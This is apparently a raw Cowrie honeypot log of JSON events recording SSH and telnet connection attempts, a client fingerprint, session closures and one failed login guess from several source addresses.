{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":54870,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcab97497d06","protocol":"ssh","message":"New connection: 103.172.20.218:54870 (159.203.135.109:22) [session: dcab97497d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:08.531435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:08.536362Z","src_ip":"103.172.20.218","session":"dcab97497d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":37256,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc1795214ff0","protocol":"telnet","message":"New connection: 187.45.176.130:37256 (10.17.0.5:23) [session: fc1795214ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:08.612429Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:08.763190Z","src_ip":"103.172.20.218","session":"dcab97497d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":34182,"dst_ip":"10.17.0.5","dst_port":23,"session":"313f32ccd611","protocol":"telnet","message":"New connection: 185.116.212.16:34182 (10.17.0.5:23) [session: 313f32ccd611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:08.850752Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":40714,"dst_ip":"10.17.0.5","dst_port":23,"session":"4566e4835f0e","protocol":"telnet","message":"New connection: 46.4.133.15:40714 (10.17.0.5:23) [session: 4566e4835f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:08.895852Z"}
{"eventid":"cowrie.session.closed","duration":30.803712368011475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:08.941966Z","src_ip":"46.4.133.15","session":"5ccc8d1f3c1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5471613407135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:09.112586Z","src_ip":"185.116.212.16","session":"fa30a5e12b56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.788565397262573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:09.167337Z","src_ip":"185.116.212.16","session":"bfe01995f28a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":33276,"dst_ip":"10.17.0.5","dst_port":23,"session":"92493431aef0","protocol":"telnet","message":"New connection: 185.116.212.16:33276 (10.17.0.5:23) [session: 92493431aef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:09.321065Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":37268,"dst_ip":"10.17.0.5","dst_port":23,"session":"564452810a10","protocol":"telnet","message":"New connection: 187.45.176.130:37268 (10.17.0.5:23) [session: 564452810a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:09.357164Z"}
{"eventid":"cowrie.session.closed","duration":31.562024354934692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:09.523319Z","src_ip":"185.116.212.16","session":"f07b4fedd287","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47455358505249,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:09.635789Z","src_ip":"46.4.133.15","session":"dd442fb027d5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234!@#$","message":"login attempt [ubuntu/1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:09.705674Z","src_ip":"103.172.20.218","session":"dcab97497d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":35060,"dst_ip":"10.17.0.5","dst_port":23,"session":"96de39b3105f","protocol":"telnet","message":"New connection: 185.116.212.16:35060 (10.17.0.5:23) [session: 96de39b3105f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:09.732501Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":37274,"dst_ip":"10.17.0.5","dst_port":23,"session":"8518659e1648","protocol":"telnet","message":"New connection: 187.45.176.130:37274 (10.17.0.5:23) [session: 8518659e1648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:09.787539Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":43482,"dst_ip":"10.17.0.5","dst_port":23,"session":"daca7e8ed089","protocol":"telnet","message":"New connection: 46.4.133.15:43482 (10.17.0.5:23) [session: daca7e8ed089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:09.839870Z"}
{"eventid":"cowrie.session.closed","duration":30.854670524597168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:10.005992Z","src_ip":"46.4.133.15","session":"49667220944f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.854817390441895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:10.010891Z","src_ip":"46.4.133.15","session":"304354376eda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.27197527885437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:10.017238Z","src_ip":"46.4.133.15","session":"689ecff60d29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.726802110671997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:10.092560Z","src_ip":"185.116.212.16","session":"ede67bd6e1a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":44210,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e66e9d2050a","protocol":"telnet","message":"New connection: 46.4.133.15:44210 (10.17.0.5:23) [session: 9e66e9d2050a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:10.113748Z"}
{"eventid":"cowrie.session.closed","duration":30.910276651382446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:10.153322Z","src_ip":"185.116.212.16","session":"27aac6824780","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":44392,"dst_ip":"10.17.0.5","dst_port":23,"session":"221ea316298d","protocol":"telnet","message":"New connection: 46.4.133.15:44392 (10.17.0.5:23) [session: 221ea316298d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:10.160632Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":35230,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0a09e8b13fa","protocol":"telnet","message":"New connection: 185.116.212.16:35230 (10.17.0.5:23) [session: a0a09e8b13fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:10.165792Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":35233,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e51993b9d44","protocol":"telnet","message":"New connection: 185.116.212.16:35233 (10.17.0.5:23) [session: 6e51993b9d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:10.178877Z"}
{"eventid":"cowrie.session.closed","duration":30.82404088973999,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:10.183873Z","src_ip":"185.116.212.16","session":"f1008ae6120b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":44764,"dst_ip":"10.17.0.5","dst_port":23,"session":"b568569894f4","protocol":"telnet","message":"New connection: 46.4.133.15:44764 (10.17.0.5:23) [session: b568569894f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:10.240119Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":37280,"dst_ip":"10.17.0.5","dst_port":23,"session":"6034258c1166","protocol":"telnet","message":"New connection: 187.45.176.130:37280 (10.17.0.5:23) [session: 6034258c1166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:10.547804Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":37296,"dst_ip":"10.17.0.5","dst_port":23,"session":"659fefb19984","protocol":"telnet","message":"New connection: 187.45.176.130:37296 (10.17.0.5:23) [session: 659fefb19984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:10.552857Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":35076,"dst_ip":"10.17.0.5","dst_port":23,"session":"e13767e01326","protocol":"telnet","message":"New connection: 185.116.212.16:35076 (10.17.0.5:23) [session: e13767e01326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:10.802968Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":35573,"dst_ip":"10.17.0.5","dst_port":23,"session":"87c551ba776f","protocol":"telnet","message":"New connection: 185.116.212.16:35573 (10.17.0.5:23) [session: 87c551ba776f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:10.853936Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:10.934621Z","src_ip":"103.172.20.218","session":"dcab97497d06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.472803592681885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:11.044631Z","src_ip":"185.116.212.16","session":"357712fdac35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52886414527893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:11.068806Z","src_ip":"185.116.212.16","session":"a5d94659a48e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":35750,"dst_ip":"10.17.0.5","dst_port":23,"session":"057aa224c92d","protocol":"telnet","message":"New connection: 185.116.212.16:35750 (10.17.0.5:23) [session: 057aa224c92d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:11.190673Z"}
{"eventid":"cowrie.session.closed","duration":30.981794595718384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:11.215020Z","src_ip":"185.116.212.16","session":"1ea60d65e3a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":47772,"dst_ip":"10.17.0.5","dst_port":23,"session":"db32edd53471","protocol":"telnet","message":"New connection: 46.4.133.15:47772 (10.17.0.5:23) [session: db32edd53471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:11.223851Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":37310,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c8ddd02c675","protocol":"telnet","message":"New connection: 187.45.176.130:37310 (10.17.0.5:23) [session: 0c8ddd02c675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:11.302925Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":36161,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c613076209c","protocol":"telnet","message":"New connection: 185.116.212.16:36161 (10.17.0.5:23) [session: 0c613076209c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:11.889202Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":47442,"dst_ip":"10.17.0.5","dst_port":23,"session":"9298a3248763","protocol":"telnet","message":"New connection: 46.4.133.15:47442 (10.17.0.5:23) [session: 9298a3248763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:12.152628Z"}
{"eventid":"cowrie.session.closed","duration":30.911556482315063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:12.159442Z","src_ip":"185.116.212.16","session":"14acabc56161","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":50712,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa67796b7125","protocol":"telnet","message":"New connection: 46.4.133.15:50712 (10.17.0.5:23) [session: aa67796b7125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:12.167705Z"}
{"eventid":"cowrie.session.closed","duration":30.977675199508667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:12.173644Z","src_ip":"185.116.212.16","session":"7b182ee4da79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":50876,"dst_ip":"10.17.0.5","dst_port":23,"session":"f128fe22b381","protocol":"telnet","message":"New connection: 46.4.133.15:50876 (10.17.0.5:23) [session: f128fe22b381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:12.202693Z"}
{"eventid":"cowrie.session.closed","duration":30.86306595802307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:12.263052Z","src_ip":"185.116.212.16","session":"59c4bc303d99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2191321849823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:12.418766Z","src_ip":"185.116.212.16","session":"c98a681ac730","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":52828,"dst_ip":"10.17.0.5","dst_port":23,"session":"729e555e3925","protocol":"telnet","message":"New connection: 46.4.133.15:52828 (10.17.0.5:23) [session: 729e555e3925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:12.853771Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":52986,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b126891ea53","protocol":"telnet","message":"New connection: 46.4.133.15:52986 (10.17.0.5:23) [session: 4b126891ea53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:12.926391Z"}
{"eventid":"cowrie.session.closed","duration":30.234551906585693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:12.956796Z","src_ip":"46.4.133.15","session":"8a3d7d22e4f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.325183868408203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:13.082898Z","src_ip":"185.116.212.16","session":"1e69c2b525d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.668063402175903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:13.109849Z","src_ip":"185.116.212.16","session":"3a891d8fe20c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.918386220932007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:13.118197Z","src_ip":"185.116.212.16","session":"2a00188b56fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":53946,"dst_ip":"10.17.0.5","dst_port":23,"session":"16c3903f4b65","protocol":"telnet","message":"New connection: 46.4.133.15:53946 (10.17.0.5:23) [session: 16c3903f4b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:13.189011Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":50022,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f9c67dd872d","protocol":"telnet","message":"New connection: 187.45.176.130:50022 (10.17.0.5:23) [session: 2f9c67dd872d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:13.430012Z"}
{"eventid":"cowrie.session.closed","duration":31.179266214370728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:13.670078Z","src_ip":"185.116.212.16","session":"0993882c01af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43116044998169,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:13.790748Z","src_ip":"185.116.212.16","session":"fcbb66bb76e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":56648,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d835de55d6f","protocol":"telnet","message":"New connection: 46.4.133.15:56648 (10.17.0.5:23) [session: 6d835de55d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:14.053379Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":57142,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3cf5e1796dd","protocol":"telnet","message":"New connection: 46.4.133.15:57142 (10.17.0.5:23) [session: a3cf5e1796dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:14.146118Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":57178,"dst_ip":"10.17.0.5","dst_port":23,"session":"33b511c159b2","protocol":"telnet","message":"New connection: 46.4.133.15:57178 (10.17.0.5:23) [session: 33b511c159b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:14.156468Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":50030,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb436dded14b","protocol":"telnet","message":"New connection: 187.45.176.130:50030 (10.17.0.5:23) [session: cb436dded14b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:14.380305Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":59328,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cbb2f2ee17c","protocol":"telnet","message":"New connection: 46.4.133.15:59328 (10.17.0.5:23) [session: 3cbb2f2ee17c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:14.686836Z"}
{"eventid":"cowrie.session.closed","duration":30.824877500534058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:14.981575Z","src_ip":"46.4.133.15","session":"0f0694111603","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.125104188919067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:15.055553Z","src_ip":"185.116.212.16","session":"0e09076b154f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66064739227295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:15.122387Z","src_ip":"185.116.212.16","session":"c40dcec12035","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.457746505737305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:15.237293Z","src_ip":"185.116.212.16","session":"907c18e6fe82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.428977727890015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:15.295758Z","src_ip":"185.116.212.16","session":"521146132472","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.521125078201294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:15.824883Z","src_ip":"185.116.212.16","session":"67b665a2ade7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83137273788452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:15.976839Z","src_ip":"46.4.133.15","session":"9e7955119976","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.492897033691406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:15.991723Z","src_ip":"46.4.133.15","session":"55e2a4e717d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6878445148468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:16.107636Z","src_ip":"185.116.212.16","session":"51cf49f30dc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.099441051483154,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:16.127421Z","src_ip":"185.116.212.16","session":"47606c337d92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40749454498291,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:16.156288Z","src_ip":"185.116.212.16","session":"21cd1a9e7302","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.525289058685303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:16.170840Z","src_ip":"185.116.212.16","session":"e132ec7dc5b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87532687187195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:16.177377Z","src_ip":"185.116.212.16","session":"89f5ae6ac4ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":50038,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa2d6b493980","protocol":"telnet","message":"New connection: 187.45.176.130:50038 (10.17.0.5:23) [session: fa2d6b493980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:16.353775Z"}
{"eventid":"cowrie.session.closed","duration":30.770130395889282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:16.364578Z","src_ip":"185.116.212.16","session":"d01e2d35ad7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":38630,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3d78033e0e7","protocol":"telnet","message":"New connection: 185.116.212.16:38630 (10.17.0.5:23) [session: a3d78033e0e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:16.420303Z"}
